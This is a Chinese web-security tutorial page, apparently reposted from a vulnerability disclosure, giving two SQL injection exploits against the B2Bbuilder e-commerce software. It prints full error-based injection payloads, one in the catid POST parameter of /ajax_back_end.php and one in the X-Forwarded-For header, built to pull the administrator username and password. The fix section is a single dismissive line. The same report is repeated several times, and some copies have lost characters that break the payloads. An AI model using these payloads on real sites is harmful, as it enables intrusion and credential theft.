B2Bbuilder最新版注入漏洞两枚 - 网站安全

B2Bbuilder最新版注入漏洞两枚 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-16 23:15 作者：阅读:次

[导读] B2Bbuilder虽然安全性低，但是也不能放弃治疗啊~详细说明：由响应中心来通报应该好一点，直接给出EXP吧0x1 ajax_back_end phpPOST：catid=1 and (select 1 from (select count(*),concat((Select conca...

B2Bbuilder虽然安全性低，但是也不能放弃治疗啊~

详细说明：
由响应中心来通报应该好一点，直接给出EXP吧

0x1 /ajax_back_end.php

POST：catid=1 and (select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)#

漏洞证明：
0x2 http头注入 X-Forwarded-For

X-Forwarded-For: 1.1.1.1',(select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a),1,1)#

然后直接访问index.php，爆密码

修复方案：
注入的常规修复呗

qibocms 多个系统同一原因的sql注入 - 网站安全 -

DESTOON 补丁没补好导致的注射 - 网站安全 - 自学

子栏目

B2Bbuilder最新版注入漏洞两枚 - 网站安全 - 自学

详细说明：
由响应中心来通报应该好一点，直接给出EXP吧

0x1 /ajax_back_end.php

POST：catid=1 and (select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)#

漏洞证明：
0x2 http头注入 X-Forwarded-For

X-Forwarded-For: 1.1.1.1',(select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a),1,1)#

然后直接访问index.php，爆密码

修复方案：
注入的常规修复呗

最新评论

添加评论

更多文章推荐

添加评论

子栏目

B2Bbuilder最新版注入漏洞两枚 - 网站安全 - 自学

详细说明：由响应中心来通报应该好一点，直接给出EXP吧0x1 /ajax_back_end.phpPOST：catid=1 and (select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

漏洞证明：0x2 http头注入 X-Forwarded-ForX-Forwarded-For: 1.1.1.1',(select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),1,1)#然后直接访问index.php，爆密码

修复方案：注入的常规修复呗

最新评论

添加评论

更多文章推荐

添加评论

详细说明：
由响应中心来通报应该好一点，直接给出EXP吧

0x1 /ajax_back_end.php

POST：catid=1 and (select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)#

漏洞证明：
0x2 http头注入 X-Forwarded-For

X-Forwarded-For: 1.1.1.1',(select 1 from (select count(),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a),1,1)#

然后直接访问index.php，爆密码

修复方案：
注入的常规修复呗